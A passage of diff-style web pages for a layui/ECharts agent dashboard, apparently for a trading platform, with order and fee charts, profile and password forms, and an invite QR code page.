|
||||
}
|
||||
});
|
||||
|
||||
//订单金额饼状图
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/order_money',
|
||||
dataType : "json",
|
||||
data : {type : 'all'},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
show_money(result.data);
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
function show_table (returnData){
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
//柱状图
|
||||
layui.use(['echarts'], function(){
|
||||
var $ = layui.$
|
||||
,echarts = layui.echarts;
|
||||
|
||||
//标准柱状图
|
||||
var echnormcol = [], normcol = [
|
||||
{
|
||||
title : {
|
||||
text: '最近52周订单图表',
|
||||
subtext: '单位:个'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'axis'
|
||||
},
|
||||
legend: {
|
||||
data:['已平仓','交易中']
|
||||
},
|
||||
calculable : true,
|
||||
xAxis : [
|
||||
{
|
||||
type : 'category',
|
||||
data : returnData.xAxis //['1月','2月','3月','4月','5月','6月','7月','8月','9月','10月','11月','12月']
|
||||
}
|
||||
],
|
||||
yAxis : [
|
||||
{
|
||||
type : 'value'
|
||||
}
|
||||
],
|
||||
series : [
|
||||
{
|
||||
name:'已平仓',
|
||||
type:'bar',
|
||||
data: returnData.series, //[2.0, 4.9, 7.0, 23.2, 245.6, 76.7, 135.6, 162.2, 32.6, 20.0, 6.4, 3.3],
|
||||
markPoint : {
|
||||
data : [
|
||||
{type : 'max', name: '最大值'},
|
||||
{type : 'min', name: '最小值'}
|
||||
]
|
||||
},
|
||||
markLine : {
|
||||
data : [{type : 'average', name: '平均值'}]
|
||||
}
|
||||
},
|
||||
|
||||
{
|
||||
name:'交易中',
|
||||
type:'bar',
|
||||
data: returnData.selling, //[2.0, 4.9, 7.0, 23.2, 245.6, 76.7, 135.6, 162.2, 32.6, 20.0, 6.4, 3.3],
|
||||
markPoint : {
|
||||
data : [
|
||||
{type : 'max', name: '最大值'},
|
||||
{type : 'min', name: '最小值'}
|
||||
]
|
||||
},
|
||||
markLine : {
|
||||
data : [{type : 'average', name: '平均值'}]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
,elemNormcol = $('#LAY-index-normcol').children('div')
|
||||
,renderNormcol = function(index){
|
||||
echnormcol[index] = echarts.init(elemNormcol[index], layui.echartsTheme);
|
||||
echnormcol[index].setOption(normcol[index]);
|
||||
window.onresize = echnormcol[index].resize;
|
||||
};
|
||||
if(!elemNormcol[0]) return;
|
||||
renderNormcol(0);
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
function show_bin (returnData) {
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
//柱状图
|
||||
layui.use(['echarts'], function () {
|
||||
var $ = layui.$
|
||||
, echarts = layui.echarts;
|
||||
|
||||
var echheapcol = [], heapcol = [
|
||||
{
|
||||
title : {
|
||||
text: '订单统计【订单数量】',
|
||||
subtext: '单位:个',
|
||||
x:'center'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'item',
|
||||
formatter: "{a} <br/>{b} : {c} ({d}%)"
|
||||
},
|
||||
color:['#c23531', '#d48265','#6ab0b8'],
|
||||
legend: {
|
||||
orient: 'vertical',
|
||||
x: 'left',
|
||||
data: ['交易中','平仓中','已平仓']
|
||||
},
|
||||
series : [
|
||||
{
|
||||
name: '访问来源',
|
||||
type: 'pie',
|
||||
radius : '55%',
|
||||
center: ['50%', '60%'],
|
||||
data:[
|
||||
{value:returnData.a, name:'交易中'},
|
||||
{value:returnData.b, name:'平仓中'},
|
||||
{value:returnData.c, name:'已平仓'}
|
||||
],
|
||||
itemStyle: {
|
||||
emphasis: {
|
||||
shadowBlur: 10,
|
||||
shadowOffsetX: 0,
|
||||
shadowColor: 'rgba(0, 0, 0, 0.5)'
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
, elemHeapcol = $('#LAY-index-bin').children('div')
|
||||
, renderHeapcol = function (index) {
|
||||
echheapcol[index] = echarts.init(elemHeapcol[index], layui.echartsTheme);
|
||||
echheapcol[index].setOption(heapcol[index]);
|
||||
window.onresize = echheapcol[index].resize;
|
||||
};
|
||||
if (!elemHeapcol[0]) return;
|
||||
renderHeapcol(0);
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
function show_money (returnData) {
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
//柱状图
|
||||
layui.use(['echarts'], function () {
|
||||
var $ = layui.$
|
||||
, echarts = layui.echarts;
|
||||
|
||||
var echheapcol = [], heapcol = [
|
||||
{
|
||||
title : {
|
||||
text: '团队总订单【订单金额】',
|
||||
subtext: '单位:元',
|
||||
x:'center'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'item',
|
||||
formatter: "{a} <br/>{b} : {c} ({d}%)"
|
||||
},
|
||||
color:['#c23531', '#d48265','#6ab0b8'],
|
||||
legend: {
|
||||
orient: 'vertical',
|
||||
x: 'left',
|
||||
data: ['交易中','平仓中','已平仓']
|
||||
},
|
||||
series : [
|
||||
{
|
||||
name: '访问来源',
|
||||
type: 'pie',
|
||||
radius : '55%',
|
||||
center: ['50%', '60%'],
|
||||
data:[
|
||||
{value:returnData.a, name:'交易中'},
|
||||
{value:returnData.b, name:'平仓中'},
|
||||
{value:returnData.c, name:'已平仓'}
|
||||
],
|
||||
itemStyle: {
|
||||
emphasis: {
|
||||
shadowBlur: 10,
|
||||
shadowOffsetX: 0,
|
||||
shadowColor: 'rgba(0, 0, 0, 0.5)'
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
, elemHeapcol = $('#LAY-index-money').children('div')
|
||||
, renderHeapcol = function (index) {
|
||||
echheapcol[index] = echarts.init(elemHeapcol[index], layui.echartsTheme);
|
||||
echheapcol[index].setOption(heapcol[index]);
|
||||
window.onresize = echheapcol[index].resize;
|
||||
};
|
||||
if (!elemHeapcol[0]) return;
|
||||
renderHeapcol(0);
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
});
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,420 @@
|
||||
|
||||
|
||||
<title>代理商</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>代理商</cite></a>
|
||||
<a><cite>代理商用户</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-md12">
|
||||
<div class="layui-card">
|
||||
<!--<div class="layui-card-header">标准柱状图</div>-->
|
||||
<div class="layui-card-body">
|
||||
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-normcol">
|
||||
<div carousel-item id="LAY-index-normcol">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md6">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-body">
|
||||
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-money">
|
||||
<div carousel-item id="LAY-index-money">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md6">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-body">
|
||||
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-bin">
|
||||
<div carousel-item id="LAY-index-bin">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.define(function(exports){
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'layer' , 'laydate' , 'form'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,laydate = layui.laydate
|
||||
,form = layui.form;
|
||||
|
||||
//日期
|
||||
laydate.render({
|
||||
elem: '#datestart'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#dateend'
|
||||
});
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-front-search)', function(data){
|
||||
var field = data.field;
|
||||
field.type = 'search';
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/dojie',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/agental',
|
||||
dataType : "json",
|
||||
data : {type : 'all'},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
show_table(result.data);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/agental_t',
|
||||
dataType : "json",
|
||||
data : {type : 'all'},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
show_bin(result.data);
|
||||
}
|
||||
});
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/agental_s',
|
||||
dataType : "json",
|
||||
data : {type : 'all'},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
show_money(result.data);
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
function show_table (returnData){
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
var xAxisData = [];
|
||||
var data1 = [];
|
||||
var data2 = [];
|
||||
var data3 = [];
|
||||
var data4 = [];
|
||||
|
||||
for (var i = 0; i < 10; i++) {
|
||||
xAxisData.push('Class' + i);
|
||||
data1.push((Math.random() * 2).toFixed(2));
|
||||
data2.push(-Math.random().toFixed(2));
|
||||
data3.push((Math.random() * 5).toFixed(2));
|
||||
data4.push((Math.random() + 0.3).toFixed(2));
|
||||
}
|
||||
|
||||
var itemStyle = {
|
||||
normal: {
|
||||
},
|
||||
emphasis: {
|
||||
barBorderWidth: 1,
|
||||
shadowBlur: 10,
|
||||
shadowOffsetX: 0,
|
||||
shadowOffsetY: 0,
|
||||
shadowColor: 'rgba(0,0,0,0.5)'
|
||||
}
|
||||
};
|
||||
//柱状图
|
||||
layui.use(['echarts'], function(){
|
||||
var $ = layui.$
|
||||
,echarts = layui.echarts;
|
||||
|
||||
//标准柱状图
|
||||
var echnormcol = [], normcol = [
|
||||
{
|
||||
title : {
|
||||
text: '最近52周收益统计',
|
||||
subtext: '单位:元'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'axis'
|
||||
},
|
||||
color:['#c23531', '#d48265'],
|
||||
legend: {
|
||||
data:['头寸统计','手续费统计']
|
||||
},
|
||||
calculable : true,
|
||||
xAxis : [
|
||||
{
|
||||
type : 'category',
|
||||
data : returnData.xAxis //['1月','2月','3月','4月','5月','6月','7月','8月','9月','10月','11月','12月']
|
||||
}
|
||||
],
|
||||
yAxis : [
|
||||
{
|
||||
type : 'value'
|
||||
}
|
||||
],
|
||||
series : [
|
||||
{
|
||||
name:'头寸统计',
|
||||
type:'bar',
|
||||
data: returnData.tocufy, //[2.0, 4.9, 7.0, 23.2, 245.6, 76.7, 135.6, 162.2, 32.6, 20.0, 6.4, 3.3],
|
||||
markPoint : {
|
||||
data : [
|
||||
{type : 'max', name: '最大值'},
|
||||
{type : 'min', name: '最小值'}
|
||||
]
|
||||
},
|
||||
markLine : {
|
||||
data : [{type : 'average', name: '平均值'}]
|
||||
}
|
||||
},
|
||||
|
||||
{
|
||||
name:'手续费统计',
|
||||
type:'bar',
|
||||
data: returnData.sxuf, //[2.0, 4.9, 7.0, 23.2, 245.6, 76.7, 135.6, 162.2, 32.6, 20.0, 6.4, 3.3],
|
||||
markPoint : {
|
||||
data : [
|
||||
{type : 'max', name: '最大值'},
|
||||
{type : 'min', name: '最小值'}
|
||||
]
|
||||
},
|
||||
markLine : {
|
||||
data : [{type : 'average', name: '平均值'}]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
,elemNormcol = $('#LAY-index-normcol').children('div')
|
||||
,renderNormcol = function(index){
|
||||
echnormcol[index] = echarts.init(elemNormcol[index], layui.echartsTheme);
|
||||
echnormcol[index].setOption(normcol[index]);
|
||||
window.onresize = echnormcol[index].resize;
|
||||
};
|
||||
if(!elemNormcol[0]) return;
|
||||
renderNormcol(0);
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
function show_bin (returnData) {
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
//柱状图
|
||||
layui.use(['echarts'], function () {
|
||||
var $ = layui.$
|
||||
, echarts = layui.echarts;
|
||||
|
||||
var echheapcol = [], heapcol = [
|
||||
{
|
||||
title : {
|
||||
text: '头寸统计',
|
||||
subtext: '单位:元',
|
||||
x:'center'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'item',
|
||||
formatter: "{a} <br/>{b} : {c} ({d}%)"
|
||||
},
|
||||
legend: {
|
||||
orient: 'vertical',
|
||||
x: 'left',
|
||||
data: ['普通用户','一级代理商','二级代理商','三级代理商','四级代理商']
|
||||
},
|
||||
series : [
|
||||
{
|
||||
name: '访问来源',
|
||||
type: 'pie',
|
||||
radius : '55%',
|
||||
center: ['50%', '60%'],
|
||||
data:[
|
||||
{value:returnData.san, name:'普通用户'},
|
||||
{value:returnData.one, name:'一级代理商'},
|
||||
{value:returnData.two, name:'二级代理商'},
|
||||
{value:returnData.three, name:'三级代理商'},
|
||||
{value:returnData.four, name:'四级代理商'}
|
||||
],
|
||||
itemStyle: {
|
||||
emphasis: {
|
||||
shadowBlur: 10,
|
||||
shadowOffsetX: 0,
|
||||
shadowColor: 'rgba(0, 0, 0, 0.5)'
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
, elemHeapcol = $('#LAY-index-bin').children('div')
|
||||
, renderHeapcol = function (index) {
|
||||
echheapcol[index] = echarts.init(elemHeapcol[index], layui.echartsTheme);
|
||||
echheapcol[index].setOption(heapcol[index]);
|
||||
window.onresize = echheapcol[index].resize;
|
||||
};
|
||||
if (!elemHeapcol[0]) return;
|
||||
renderHeapcol(0);
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
function show_money (returnData) {
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
//柱状图
|
||||
layui.use(['echarts'], function () {
|
||||
var $ = layui.$
|
||||
, echarts = layui.echarts;
|
||||
|
||||
var echheapcol = [], heapcol = [
|
||||
{
|
||||
title : {
|
||||
text: '手续费统计',
|
||||
subtext: '单位:元',
|
||||
x:'center'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'item',
|
||||
formatter: "{a} <br/>{b} : {c} ({d}%)"
|
||||
},
|
||||
legend: {
|
||||
orient: 'vertical',
|
||||
x: 'left',
|
||||
data: ['普通用户','一级代理商','二级代理商','三级代理商','四级代理商']
|
||||
},
|
||||
series : [
|
||||
{
|
||||
name: '访问来源',
|
||||
type: 'pie',
|
||||
radius : '55%',
|
||||
center: ['50%', '60%'],
|
||||
data:[
|
||||
{value:returnData.san, name:'普通用户'},
|
||||
{value:returnData.one, name:'一级代理商'},
|
||||
{value:returnData.two, name:'二级代理商'},
|
||||
{value:returnData.three, name:'三级代理商'},
|
||||
{value:returnData.four, name:'四级代理商'}
|
||||
],
|
||||
itemStyle: {
|
||||
emphasis: {
|
||||
shadowBlur: 10,
|
||||
shadowOffsetX: 0,
|
||||
shadowColor: 'rgba(0, 0, 0, 0.5)'
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
, elemHeapcol = $('#LAY-index-money').children('div')
|
||||
, renderHeapcol = function (index) {
|
||||
echheapcol[index] = echarts.init(elemHeapcol[index], layui.echartsTheme);
|
||||
echheapcol[index].setOption(heapcol[index]);
|
||||
window.onresize = echheapcol[index].resize;
|
||||
};
|
||||
if (!elemHeapcol[0]) return;
|
||||
renderHeapcol(0);
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
});
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,96 @@
|
||||
|
||||
<title>设置我的资料</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>设置</cite></a>
|
||||
<a><cite>我的资料</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-md12">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">设置我的资料</div>
|
||||
<div class="layui-card-body" pad15>
|
||||
|
||||
<div class="layui-form" lay-filter="">
|
||||
<script type="text/html" template lay-url="/agent/user_info" >
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">我的角色</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" value="{{ d.data.self_info }}" readonly class="layui-input">
|
||||
<input type="hidden" name="user_id" value="{{ d.data.user_id }}" readonly >
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">当前角色不可更改为其它角色</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="username" value="{{ d.data.username }}" readonly class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">不可修改。一般用于后台登入名</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">昵称</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="nickname" value="{{ d.data.user.nickname }}" lay-verify="nickname" autocomplete="off" placeholder="请输入昵称" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<!--<div class="layui-form-item">
|
||||
<label class="layui-form-label">性别</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="radio" name="sex" value="男" title="男">
|
||||
<input type="radio" name="sex" value="女" title="女" checked>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">头像</label>
|
||||
<div class="layui-input-inline">
|
||||
<input name="avatar" lay-verify="required" id="LAY_avatarSrc" placeholder="图片地址" value="http://cdn.layui.com/avatar/168.jpg" class="layui-input">
|
||||
</div>
|
||||
<div class="layui-input-inline layui-btn-container" style="width: auto;">
|
||||
<button type="button" class="layui-btn layui-btn-primary" id="LAY_avatarUpload">
|
||||
<i class="layui-icon"></i>上传图片
|
||||
</button>
|
||||
<button class="layui-btn layui-btn-primary" layadmin-event="avartatPreview">查看图片</button >
|
||||
</div>
|
||||
</div>-->
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">手机</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="phone" value="{{ d.data.user.phone }}" lay-verify="phone" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">邮箱</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="email" value="{{ d.data.user.email }}" lay-verify="email" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<!-- <div class="layui-form-item layui-form-text">
|
||||
<label class="layui-form-label">备注</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea name="remarks" placeholder="请输入内容" class="layui-textarea">{{ d.data.user.extension_code }}</textarea>
|
||||
</div>
|
||||
</div> -->
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit lay-filter="setmyinfo">确认修改</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重新填写</button>
|
||||
</div>
|
||||
</div>
|
||||
</script>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use('set', layui.factory('set'));
|
||||
</script>
|
||||
@@ -0,0 +1,63 @@
|
||||
<title>设置我的密码</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>设置</cite></a>
|
||||
<a><cite>我的密码</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-md12">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">修改密码</div>
|
||||
<div class="layui-card-body" pad15>
|
||||
|
||||
<div class="layui-form" lay-filter="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">当前密码</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="password" name="oldPassword" lay-verify="required" lay-verType="tips" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">新密码</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="password" name="password" lay-verify="pass" lay-verType="tips" autocomplete="off" id="LAY_password" class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">6到16个字符</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">确认新密码</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="password" name="repassword" lay-verify="repass" lay-verType="tips" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">是否同步用户密码</label>
|
||||
|
||||
<div class="layui-input-inline">
|
||||
<input type="radio" name="is_tong" value="1" title="同步" >
|
||||
<input type="radio" name="is_tong" value="0" title="不同步" checked >
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit lay-filter="setmypass">确认修改</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use('set', layui.factory('set'));
|
||||
</script>
|
||||
@@ -0,0 +1,68 @@
|
||||
|
||||
<div class="layui-card-header">我的邀请二维码</div>
|
||||
<div class="layui-card-body layui-text layadmin-about">
|
||||
<div class="layui-card-body">
|
||||
<div id="code" class="flex alcenter jscenter"></div>
|
||||
</div>
|
||||
<p id="url"></p>
|
||||
</div>
|
||||
|
||||
|
||||
<script src="../../js/jquery-1.11.1.min.js"></script>
|
||||
<script src="../../js/jquery.qrcode.min.js"></script>
|
||||
<script src="../../js/qrcode.js"></script>
|
||||
|
||||
<script>
|
||||
|
||||
|
||||
layui.use(['admin', 'table', 'layer' , 'laydate'], function () {
|
||||
var $ = layui.$
|
||||
, admin = layui.admin
|
||||
, view = layui.view
|
||||
, table = layui.table
|
||||
, layer = layui.layer
|
||||
, laydate = layui.laydate
|
||||
, form = layui.form;
|
||||
|
||||
|
||||
//日期
|
||||
laydate.render({
|
||||
elem: '#datestart'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#dateend'
|
||||
});
|
||||
|
||||
|
||||
admin.req({
|
||||
type: "POST",
|
||||
url: '/agent/get_my_invite_code',
|
||||
dataType: "json",
|
||||
data: {all: 1},
|
||||
done: function (result) { //返回数据根据结果进行相应的处理
|
||||
|
||||
var invite_code = result.data.invite_code;
|
||||
var moblie_h5_url = result.data.moblie_h5_url;
|
||||
|
||||
var qr = new QRCode('code',{
|
||||
width: 240, //宽度
|
||||
height:240, //高度
|
||||
colorDark:'#000',
|
||||
colorLight:'#fff',
|
||||
correctLevel:QRCode.CorrectLevel.H
|
||||
});
|
||||
qr.clear();
|
||||
|
||||
if (result.data.is_admin == 1){
|
||||
qr.makeCode( moblie_h5_url +'/mobile/register.html?code=' + invite_code);
|
||||
$("#url").html( moblie_h5_url +'/mobile/register.html?code='+ invite_code);
|
||||
}else{
|
||||
qr.makeCode( moblie_h5_url +'/mobile/register.html?code=' + invite_code);
|
||||
$("#url").html( moblie_h5_url +'/mobile/register.html?code=' + invite_code);
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,3 @@
|
||||
|
||||
<title>授权</title>
|
||||
<iframe src="//www.layui.com/admin/#get" frameborder="0" class="layadmin-iframe"></iframe>
|
||||
@@ -0,0 +1,22 @@
|
||||
|
||||
<!-- 更多面板的模板 -->
|
||||
<div class="layadmin-menu-list">
|
||||
<div class="layui-card-header" layadmin-event="about">
|
||||
<a href="javascript:;">
|
||||
<i class="layui-icon layui-icon-about" style="font-size: 20px;"></i>
|
||||
获得产品
|
||||
</a>
|
||||
</div>
|
||||
<div class="layui-card-header" layadmin-event="theme">
|
||||
<a href="javascript:;">
|
||||
<i class="layui-icon layui-icon-theme"></i>
|
||||
设置主题
|
||||
</a>
|
||||
</div>
|
||||
<div class="layui-card-header" layadmin-event="note">
|
||||
<a href="javascript:;">
|
||||
<i class="layui-icon layui-icon-note"></i>
|
||||
本地便签
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
@@ -0,0 +1,43 @@
|
||||
|
||||
<!-- 主题设置模板 -->
|
||||
|
||||
<script type="text/html" template lay-done="layui.data.theme();">
|
||||
{{#
|
||||
var local = layui.data(layui.setter.tableName)
|
||||
,theme = local.theme || {}
|
||||
